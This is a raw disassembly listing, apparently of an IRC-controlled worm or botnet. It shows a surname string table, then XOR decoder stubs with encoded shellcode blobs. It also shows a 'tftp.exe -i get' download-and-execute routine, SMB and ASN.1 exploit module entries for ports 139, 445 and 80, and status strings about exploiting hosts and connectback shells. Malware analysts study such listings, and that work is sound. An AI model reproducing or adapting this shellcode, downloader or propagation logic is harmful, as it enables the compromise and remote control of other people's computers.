___:0042DA08o aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: ___:0042DA04o aDaly db 'Daly',0 ; DATA XREF: ___:0042DA00o align 10h aDaldalian db 'Daldalian',0 ; DATA XREF: ___:0042D9FCo align 4 aDasilva db 'daSilva',0 ; DATA XREF: ___:0042D9F8o aCyders db 'Cyders',0 ; DATA XREF: ___:0042D9F4o align 4 aCvek db 'Cvek',0 ; DATA XREF: ___:0042D9F0o align 4 aCutler db 'Cutler',0 ; DATA XREF: ___:0042D9ECo align 4 aCurrier db 'Currier',0 ; DATA XREF: ___:0042D9E8o aCui db 'Cui',0 ; DATA XREF: ___:0042D9E4o aCroxton db 'Croxton',0 ; DATA XREF: ___:0042D9E0o aCroxen db 'Croxen',0 ; DATA XREF: ___:0042D9DCo align 4 aCroshaw db 'Croshaw',0 ; DATA XREF: ___:0042D9D8o aCrocker db 'Crocker',0 ; DATA XREF: ___:0042D9D4o aCrawford db 'Crawford',0 ; DATA XREF: ___:0042D9D0o align 4 aCoutaux db 'Coutaux',0 ; DATA XREF: ___:0042D9CCo aCounter db 'Counter',0 ; DATA XREF: ___:0042D9C8o aCosmides db 'Cosmides',0 ; DATA XREF: ___:0042D9C4o align 10h aCornish db 'Cornish',0 ; DATA XREF: ___:0042D9C0o aCorey db 'Corey',0 ; DATA XREF: ___:0042D9BCo align 10h aConnors db 'Connors',0 ; DATA XREF: ___:0042D9B8o aCondodina db 'Condodina',0 ; DATA XREF: ___:0042D9B4o align 4 aConcino db 'Concino',0 ; DATA XREF: ___:0042D9B0o aComstock db 'Comstock',0 ; DATA XREF: ___:0042D9ACo align 4 aCompton db 'Compton',0 ; DATA XREF: ___:0042D9A4o ; ___:0042D9A8o aCollis db 'Collis',0 ; DATA XREF: ___:0042D9A0o align 4 aCollard db 'Collard',0 ; DATA XREF: ___:0042D99Co aColella db 'Colella',0 ; DATA XREF: ___:0042D998o aColdren db 'Coldren',0 ; DATA XREF: ___:0042D994o aCoito db 'Coito',0 ; DATA XREF: ___:0042D990o align 4 aCoblenz db 'Coblenz',0 ; DATA XREF: ___:0042D98Co aClow db 'Clow',0 ; DATA XREF: ___:0042D988o align 4 aClifton db 'Clifton',0 ; DATA XREF: ___:0042D984o aClement db 'Clement',0 ; DATA XREF: ___:0042D980o aClark db 'Clark',0 ; DATA XREF: ___:0042D97Co align 10h aClancy db 'Clancy',0 ; DATA XREF: ___:0042D978o align 4 aClaffey db 'Claffey',0 ; DATA XREF: ___:0042D974o aCifarelli db 'Cifarelli',0 ; DATA XREF: ___:0042D970o align 4 aCicero db 'Cicero',0 ; DATA XREF: ___:0042D96Co align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: ___:0042D968o align 10h aChurch db 'Church',0 ; DATA XREF: ___:0042D964o align 4 aChupasko db 'Chupasko',0 ; DATA XREF: ___:0042D960o align 4 aChu db 'Chu',0 ; DATA XREF: ___:0042D95Co aChristopher db 'Christopher',0 ; DATA XREF: ___:0042D958o aChristie db 'Christie',0 ; DATA XREF: ___:0042D954o align 10h aChristiano db 'Christiano',0 ; DATA XREF: ___:0042D950o align 4 aChristian db 'Christian',0 ; DATA XREF: ___:0042D94Co align 4 aChristenson db 'Christenson',0 ; DATA XREF: ___:0042D948o aChinman db 'Chinman',0 ; DATA XREF: ___:0042D944o aChinipardaz db 'Chinipardaz',0 ; DATA XREF: ___:0042D940o aChilds db 'Childs',0 ; DATA XREF: ___:0042D93Co align 10h aChildress db 'Childress',0 ; DATA XREF: ___:0042D938o align 4 aChien db 'Chien',0 ; DATA XREF: ___:0042D934o align 4 aChiassino db 'Chiassino',0 ; DATA XREF: ___:0042D930o align 10h aChervinsky db 'Chervinsky',0 ; DATA XREF: ___:0042D92Co align 4 aCherry db 'Cherry',0 ; DATA XREF: ___:0042D928o align 4 aCheang db 'Cheang',0 ; DATA XREF: ___:0042D924o align 4 aCharles db 'Charles',0 ; DATA XREF: ___:0042D920o aChapman db 'Chapman',0 ; DATA XREF: ___:0042D91Co aCerioli db 'Cerioli',0 ; DATA XREF: ___:0042D918o aCeniceros db 'Ceniceros',0 ; DATA XREF: ___:0042D914o align 10h aCavell db 'Cavell',0 ; DATA XREF: ___:0042D910o align 4 aCavanagh db 'Cavanagh',0 ; DATA XREF: ___:0042D90Co align 4 aCastelda db 'Castelda',0 ; DATA XREF: ___:0042D908o align 10h aCaspar db 'Caspar',0 ; DATA XREF: ___:0042D904o align 4 aCase db 'Case',0 ; DATA XREF: ___:0042D900o align 10h aCascio db 'Cascio',0 ; DATA XREF: ___:0042D8FCo align 4 aCartmill db 'Cartmill',0 ; DATA XREF: ___:0042D8F8o align 4 aCarper db 'Carper',0 ; DATA XREF: ___:0042D8F4o align 4 aCaroti db 'Caroti',0 ; DATA XREF: ___:0042D8F0o align 4 aCarmichael db 'Carmichael',0 ; DATA XREF: ___:0042D8ECo align 10h aCarlyle db 'Carlyle',0 ; DATA XREF: ___:0042D8E8o aCarlos db 'Carlos',0 ; DATA XREF: ___:0042D8E4o align 10h aCarlin db 'Carlin',0 ; DATA XREF: ___:0042D8E0o align 4 aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: ___:0042D8DCo aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: ___:0042D8D8o aCapursi db 'Capursi',0 ; DATA XREF: ___:0042D8D4o aCappuccio db 'Cappuccio',0 ; DATA XREF: ___:0042D8D0o align 4 aCapodilupo db 'Capodilupo',0 ; DATA XREF: ___:0042D8CCo align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: ___:0042D8C8o align 10h aCaperton db 'Caperton',0 ; DATA XREF: ___:0042D8C4o align 4 aCapanni db 'Capanni',0 ; DATA XREF: ___:0042D8C0o aCanley db 'Canley',0 ; DATA XREF: ___:0042D8BCo align 4 aCammilleri db 'Cammilleri',0 ; DATA XREF: ___:0042D8B8o align 4 aCammelli db 'Cammelli',0 ; DATA XREF: ___:0042D8B4o align 4 aCalnan db 'Calnan',0 ; DATA XREF: ___:0042D8B0o align 4 aCage db 'Cage',0 ; DATA XREF: ___:0042D8ACo align 4 aByrd db 'Byrd',0 ; DATA XREF: ___:0042D8A8o align 4 aByerly db 'Byerly',0 ; DATA XREF: ___:0042D8A4o align 4 aByatt db 'Byatt',0 ; DATA XREF: ___:0042D8A0o align 4 aBusetta db 'Busetta',0 ; DATA XREF: ___:0042D89Co aBurridge db 'Burridge',0 ; DATA XREF: ___:0042D898o align 10h aBurke db 'Burke',0 ; DATA XREF: ___:0042D894o align 4 aBurdzy db 'Burdzy',0 ; DATA XREF: ___:0042D890o align 10h aBurden db 'Burden',0 ; DATA XREF: ___:0042D88Co align 4 aBunton db 'Bunton',0 ; DATA XREF: ___:0042D888o align 10h aBullard db 'Bullard',0 ; DATA XREF: ___:0042D884o aBudding db 'Budding',0 ; DATA XREF: ___:0042D880o aBuchan db 'Buchan',0 ; DATA XREF: ___:0042D87Co align 4 aBrzycki db 'Brzycki',0 ; DATA XREF: ___:0042D878o aBrook db 'Brook',0 ; DATA XREF: ___:0042D874o align 4 aBroca db 'Broca',0 ; DATA XREF: ___:0042D870o align 10h aBritz db 'Britz',0 ; DATA XREF: ___:0042D86Co align 4 aBrinton db 'Brinton',0 ; DATA XREF: ___:0042D868o aBridges db 'Bridges',0 ; DATA XREF: ___:0042D864o aBridgeman db 'Bridgeman',0 ; DATA XREF: ___:0042D860o align 4 aBrewer db 'Brewer',0 ; DATA XREF: ___:0042D858o ; ___:0042D85Co align 4 aBrennan db 'Brennan',0 ; DATA XREF: ___:0042D854o aBrenan db 'Brenan',0 ; DATA XREF: ___:0042D850o align 4 aBreed db 'Breed',0 ; DATA XREF: ___:0042D84Co align 4 aBrecht db 'Brecht',0 ; DATA XREF: ___:0042D848o align 4 aBradach db 'Bradach',0 ; DATA XREF: ___:0042D844o aBradac db 'Bradac',0 ; DATA XREF: ___:0042D840o align 4 aBracalente db 'Bracalente',0 ; DATA XREF: ___:0042D83Co align 4 aBoyne db 'Boyne',0 ; DATA XREF: ___:0042D838o align 10h aBoym db 'Boym',0 ; DATA XREF: ___:0042D834o align 4 aBoyland db 'Boyland',0 ; DATA XREF: ___:0042D830o aBoyes db 'Boyes',0 ; DATA XREF: ___:0042D82Co align 4 aBoyajian db 'Boyajian',0 ; DATA XREF: ___:0042D828o align 4 aBoxer db 'Boxer',0 ; DATA XREF: ___:0042D824o align 4 aBowers db 'Bowers',0 ; DATA XREF: ___:0042D820o align 4 aBourneuf db 'Bourneuf',0 ; DATA XREF: ___:0042D81Co align 10h aBoudrot db 'Boudrot',0 ; DATA XREF: ___:0042D818o aBoudin db 'Boudin',0 ; DATA XREF: ___:0042D814o align 10h aBotosh db 'Botosh',0 ; DATA XREF: ___:0042D810o align 4 aBothman db 'Bothman',0 ; DATA XREF: ___:0042D80Co aBossi db 'Bossi',0 ; DATA XREF: ___:0042D808o align 4 aBorden db 'Borden',0 ; DATA XREF: ___:0042D804o align 10h aBorack db 'Borack',0 ; DATA XREF: ___:0042D800o align 4 aBoorstin db 'Boorstin',0 ; DATA XREF: ___:0042D7FCo align 4 aBoone db 'Boone',0 ; DATA XREF: ___:0042D7F8o align 4 aBookbinder db 'Bookbinder',0 ; DATA XREF: ___:0042D7F4o align 4 aBook db 'Book',0 ; DATA XREF: ___:0042D7F0o align 10h aBontempo db 'Bontempo',0 ; DATA XREF: ___:0042D7ECo align 4 aBoniface db 'Boniface',0 ; DATA XREF: ___:0042D7E8o align 4 aBonham db 'Bonham',0 ; DATA XREF: ___:0042D7E4o align 10h aBoner db 'Boner',0 ; DATA XREF: ___:0042D7E0o align 4 aBologna db 'Bologna',0 ; DATA XREF: ___:0042D7DCo aBollinger db 'Bollinger',0 ; DATA XREF: ___:0042D7D8o align 4 aBolick db 'Bolick',0 ; DATA XREF: ___:0042D7D4o align 4 aBolger db 'Bolger',0 ; DATA XREF: ___:0042D7D0o align 4 aBlyth db 'Blyth',0 ; DATA XREF: ___:0042D7CCo align 4 aBloxham db 'Bloxham',0 ; DATA XREF: ___:0042D7C8o aBloemhof db 'Bloemhof',0 ; DATA XREF: ___:0042D7C4o align 4 aBloembergen db 'Bloembergen',0 ; DATA XREF: ___:0042D7C0o aBloch db 'Bloch',0 ; DATA XREF: ___:0042D7BCo align 4 aBlizard db 'Blizard',0 ; DATA XREF: ___:0042D7B8o aBliss db 'Bliss',0 ; DATA XREF: ___:0042D7B4o align 4 aBlanke db 'Blanke',0 ; DATA XREF: ___:0042D7B0o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: ___:0042D7ACo align 10h aBlagg db 'Blagg',0 ; DATA XREF: ___:0042D7A8o align 4 aBlackwell db 'Blackwell',0 ; DATA XREF: ___:0042D7A4o align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: ___:0042D7A0o align 10h aBisho db 'Bisho',0 ; DATA XREF: ___:0042D79Co align 4 aBisema db 'Bisema',0 ; DATA XREF: ___:0042D798o align 10h aBir db 'Bir',0 ; DATA XREF: ___:0042D794o aBinion db 'Binion',0 ; DATA XREF: ___:0042D790o align 4 aBickel db 'Bickel',0 ; DATA XREF: ___:0042D78Co align 4 aBiagioli db 'Biagioli',0 ; DATA XREF: ___:0042D788o align 10h aBeynart db 'Beynart',0 ; DATA XREF: ___:0042D784o aBetti db 'Betti',0 ; DATA XREF: ___:0042D780o align 10h aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: ___:0042D77Co align 10h aBernston db 'Bernston',0 ; DATA XREF: ___:0042D778o align 4 aBernassola db 'Bernassola',0 ; DATA XREF: ___:0042D774o align 4 aBernardo db 'Bernardo',0 ; DATA XREF: ___:0042D770o align 4 aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: ___:0042D76Co align 4 aBergson db 'Bergson',0 ; DATA XREF: ___:0042D768o aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: ___:0042D764o align 4 aBelloc db 'Belloc',0 ; DATA XREF: ___:0042D760o align 4 aBellini db 'Bellini',0 ; DATA XREF: ___:0042D75Co aBellhouse db 'Bellhouse',0 ; DATA XREF: ___:0042D758o align 4 aBellavance db 'Bellavance',0 ; DATA XREF: ___:0042D754o align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: ___:0042D750o align 4 aBelfer db 'Belfer',0 ; DATA XREF: ___:0042D74Co align 4 aBelaoussof db 'Belaoussof',0 ; DATA XREF: ___:0042D748o align 4 aBelanger db 'Belanger',0 ; DATA XREF: ___:0042D744o align 4 aBehenna db 'Behenna',0 ; DATA XREF: ___:0042D740o aBedford db 'Bedford',0 ; DATA XREF: ___:0042D73Co aBeder db 'Beder',0 ; DATA XREF: ___:0042D738o align 4 aBeckman db 'Beckman',0 ; DATA XREF: ___:0042D734o aBean db 'Bean',0 ; DATA XREF: ___:0042D730o align 4 aBeal db 'Beal',0 ; DATA XREF: ___:0042D72Co align 4 aBeacon db 'Beacon',0 ; DATA XREF: ___:0042D728o align 4 aBayo db 'Bayo',0 ; DATA XREF: ___:0042D724o align 4 aBayles db 'Bayles',0 ; DATA XREF: ___:0042D720o align 4 aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0042D71Co align 4 aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0042D718o align 4 aBashevis db 'Bashevis',0 ; DATA XREF: ___:0042D714o align 10h aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0042D710o align 4 aBartoo db 'Bartoo',0 ; DATA XREF: ___:0042D70Co align 4 aBartolome db 'Bartolome',0 ; DATA XREF: ___:0042D708o align 10h aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0042D704o aBarry db 'Barry',0 ; DATA XREF: ___:0042D700o align 4 aBarriola db 'Barriola',0 ; DATA XREF: ___:0042D6FCo align 10h aBarnett db 'Barnett',0 ; DATA XREF: ___:0042D6F8o aBarneson db 'Barneson',0 ; DATA XREF: ___:0042D6F4o align 4 aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0042D6F0o align 10h aBarberi db 'Barberi',0 ; DATA XREF: ___:0042D6ECo aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0042D6E8o align 4 aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0042D6E4o align 10h aBarajas db 'Barajas',0 ; DATA XREF: ___:0042D6E0o aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0042D6DCo align 4 aBanta db 'Banta',0 ; DATA XREF: ___:0042D6D8o align 4 aBaltz db 'Baltz',0 ; DATA XREF: ___:0042D6D4o align 4 aBallew db 'Ballew',0 ; DATA XREF: ___:0042D6D0o align 4 aBallatori db 'Ballatori',0 ; DATA XREF: ___:0042D6CCo align 4 aBaleja db 'Baleja',0 ; DATA XREF: ___:0042D6C8o align 10h aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0042D6C4o align 4 aBailar db 'Bailar',0 ; DATA XREF: ___:0042D6C0o align 4 aBagnold db 'Bagnold',0 ; DATA XREF: ___:0042D6BCo aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0042D6B8o aBady db 'Bady',0 ; DATA XREF: ___:0042D6B4o align 4 aBackus db 'Backus',0 ; DATA XREF: ___:0042D6B0o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0042D6ACo align 10h aAzima db 'Azima',0 ; DATA XREF: ___:0042D6A8o align 4 aAyling db 'Ayling',0 ; DATA XREF: ___:0042D6A4o align 10h aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0042D6A0o aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0042D69Co aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0042D698o align 4 aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0042D694o aAurelius db 'Aurelius',0 ; DATA XREF: ___:0042D690o align 10h aAugustus db 'Augustus',0 ; DATA XREF: ___:0042D68Co align 4 aAtkins db 'Atkins',0 ; DATA XREF: ___:0042D688o align 4 aArky db 'Arky',0 ; DATA XREF: ___:0042D684o align 4 aArjas db 'Arjas',0 ; DATA XREF: ___:0042D680o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: ___:0042D67Co align 10h aArellano db 'Arellano',0 ; DATA XREF: ___:0042D678o align 4 aArduini db 'Arduini',0 ; DATA XREF: ___:0042D674o aArbia db 'Arbia',0 ; DATA XREF: ___:0042D670o align 4 aAntos db 'Antos',0 ; DATA XREF: ___:0042D66Co align 4 aAnthony db 'Anthony',0 ; DATA XREF: ___:0042D668o aAnsley db 'Ansley',0 ; DATA XREF: ___:0042D664o align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0042D660o align 10h aAndron db 'Andron',0 ; DATA XREF: ___:0042D65Co align 4 aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0042D658o align 4 aAndo db 'Ando',0 ; DATA XREF: ___:0042D654o align 4 aAndel db 'Andel',0 ; DATA XREF: ___:0042D650o align 4 aAnand db 'Anand',0 ; DATA XREF: ___:0042D64Co align 4 aAmsden db 'Amsden',0 ; DATA XREF: ___:0042D648o align 4 aAmeer db 'Ameer',0 ; DATA XREF: ___:0042D644o align 4 aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0042D640o align 4 aAmaral db 'Amaral',0 ; DATA XREF: ___:0042D63Co align 10h aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0042D638o align 4 aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0042D634o aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0042D630o align 4 aAlongi db 'Alongi',0 ; DATA XREF: ___:0042D62Co align 4 aAllison db 'Allison',0 ; DATA XREF: ___:0042D628o aAleks db 'Aleks',0 ; DATA XREF: ___:0042D624o align 4 aAlda db 'Alda',0 ; DATA XREF: ___:0042D620o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: ___:0042D61Co align 4 aAlavi db 'Alavi',0 ; DATA XREF: ___:0042D618o align 4 aAhlers db 'Ahlers',0 ; DATA XREF: ___:0042D614o align 4 aAdorno db 'Adorno',0 ; DATA XREF: ___:0042D610o align 4 aAdibe db 'Adibe',0 ; DATA XREF: ___:0042D60Co align 4 aAdelstein db 'Adelstein',0 ; DATA XREF: ___:0042D608o align 4 aAddison db 'Addison',0 ; DATA XREF: ___:off_42D604o aAdams db 'Adams',0 ; DATA XREF: ___:0042D600o align 4 aAckerman db 'Ackerman',0 ; DATA XREF: ___:0042D5FCo align 4 aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_42D5F8o align 10h byte_431250 db 50h ; DATA XREF: ___:0040ADEFo ; ___:0040ADFCr db 43h, 2 dup(0) dword_431254 dd 7C7325h ; DATA XREF: ___:0040AE9Ao dword_431258 dd 5D73255Bh, 7Ch ; DATA XREF: ___:0040AFA4o dword_431260 dd 3F3F3Fh ; DATA XREF: ___:loc_40AF9Bo ; sub_41AA42:loc_41AB05o dword_431264 dd 334B32h ; DATA XREF: ___:0040AF94o dword_431268 dd 5058h ; DATA XREF: ___:0040AF86o ; sub_41AA42+AAo dword_43126C dd 4B32h ; DATA XREF: ___:0040AF76o ; sub_41AA42+98o dword_431270 dd 454Dh ; DATA XREF: ___:0040AF5Do ; sub_41AA42+7Eo dword_431274 dd 3839h ; DATA XREF: ___:0040AF4Do ; sub_41AA42+6Co dword_431278 dd 544Eh ; DATA XREF: ___:0040AF3Do ; sub_41AA42+5Ao dword_43127C dd 3539h ; DATA XREF: ___:0040AF2Fo ; sub_41AA42+46o dword_431280 dd 5D64255Bh, 7325h ; DATA XREF: sub_40AFEA+3Ao dword_431288 dd 5D4D5Bh ; DATA XREF: sub_40AFEA+2Co ; sub_40AFEA+57o aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40AFEA+18o ; sub_418211+5o align 4 jmp short loc_431298 ; --------------------------------------------------------------------------- loc_431296: ; CODE XREF: ___:loc_431298p jmp short loc_43129D ; --------------------------------------------------------------------------- loc_431298: ; CODE XREF: ___:00431294j call loc_431296 loc_43129D: ; CODE XREF: ___:loc_431296j pop ebx xor ecx, ecx mov cx, 0FFFFh loc_4312A4: ; CODE XREF: ___:004312A9j xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_4312A4 add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cl, 0FFh loc_4312BA: ; CODE XREF: ___:004312BFj xor byte ptr [ebx+0Ch], 0FFh inc ebx loop loc_4312BA ; --------------------------------------------------------------------------- db 3 dup(0) dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; --------------------------------------------------------------------------- push 0 call sub_43135C jnz short loc_431348 retn ; --------------------------------------------------------------------------- loc_431348: ; CODE XREF: ___:00431345j ; ___:00431355j call near ptr loc_43134D+1 loc_43134D: ; CODE XREF: ___:loc_431348p add [edx+0], ch call sub_43135C jz loc_431348 retn ; =============== S U B R O U T I N E ======================================= sub_43135C proc near ; CODE XREF: ___:00431340p ; ___:00431350p pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn sub_43135C endp ; --------------------------------------------------------------------------- align 4 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o align 4 aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o align 10h aSym db 'sym',0 ; DATA XREF: sub_40C124+169o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40B7DA+30o align 4 dd 5 dup(0) dword_431408 dd 0B97h ; DATA XREF: sub_401ACD+1DA0r ; sub_401ACD+1DC9o ... off_43140C dd offset sub_40E0D0 ; DATA XREF: sub_40C124+1EAr dword_431410 dd 0 ; DATA XREF: sub_40B64A+2Eo ; ___:0040D495w ... dword_431414 dd 1 ; DATA XREF: sub_40BACD+1Fr dword_431418 dd 1 ; DATA XREF: sub_40BACD+3B3r dword_43141C dd 0 ; DATA XREF: sub_40BACD+292r dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch, 40E206h, 0 dd 2 dup(1), 0 aNet139 db 'net139',0 align 4 dd 654E0000h, 69706174h, 393331h, 5 dup(0) dd 8Bh, 40DF8Eh, 0 dd 2 dup(1), 0 aNet445 db 'net445',0 align 4 dd 654E0000h, 69706174h, 353434h, 5 dup(0) dd 1BDh, 40DF8Eh, 0 dd 2 dup(1), 0 aAsn80 db 'asn80',0 align 4 dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0) dd 50h, 40D2D9h, 0 dd 2 dup(1), 0 aAsn445 db 'asn445',0 align 4 dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40D2D9h, 0 dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 4 dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 40D2D9h, 0 dd 2 dup(1), 2 dup(0) dd 10100h, 0Eh dup(0) aAsn445_0 db 'asn445',0 align 4 db 2 dup(0) byte_4315EA db 1 ; DATA XREF: sub_401ACD:loc_4037E6r ; sub_401ACD+1D23o db 73h dd 6D79h, 0 dd 100h, 3 dup(0) ; --------------------------------------------------------------------------- jmp short loc_431616 ; =============== S U B R O U T I N E ======================================= sub_431606 proc near ; CODE XREF: sub_431606:loc_431616p pop edx dec edx xor ecx, ecx mov cx, 166h loc_43160E: ; CODE XREF: sub_431606+Cj xor byte ptr [edx+ecx], 99h loop loc_43160E jmp short loc_43161B ; --------------------------------------------------------------------------- loc_431616: ; CODE XREF: ___:00431604j call sub_431606 loc_43161B: ; CODE XREF: sub_431606+Ej jo short near ptr dword_4315A4+12h cwde cdq cdq retn sub_431606 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o align 4 dword_431798 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B64A+46o unk_4317A4 db 2Dh ; - ; DATA XREF: sub_40B64A+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 unk_4317C4 db 2Dh ; - ; DATA XREF: sub_40B719+38o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 unk_43180C db 2Dh ; - ; DATA XREF: sub_40B785+22o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 4 aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40B7DA+7Fo dword_431848 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o dword_431858 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_40B7DA+14o dd 7473694Ch, 3Ah unk_431874 db 2Dh ; - ; DATA XREF: ___:0040BA13o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 unk_4318A8 db 2Dh ; - ; DATA XREF: ___:0040B921o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 4 unk_4318D8 db 2Dh ; - ; DATA XREF: sub_40BA56+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 4 unk_4318F8 db 2Dh ; - ; DATA XREF: sub_40BA56+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 unk_431914 db 2Dh ; - ; DATA XREF: sub_40BACD+4B7o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_33 db ' Failed to start server, error: <%d>.',0 align 4 unk_431948 db 2Dh ; - ; DATA XREF: sub_40BACD+38Fo db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_34 db '- Failed to start server, error: <%d>.',0 unk_431980 db 2Dh ; - ; DATA XREF: sub_40BACD+321o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_2 db '- Server started on Port: %d.',0 align 10h unk_4319B0 db 2Dh ; - ; DATA XREF: sub_40BACD+26Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_35 db 'Failed to start server, error: <%d>.',0 align 4 unk_4319E4 db 2Dh 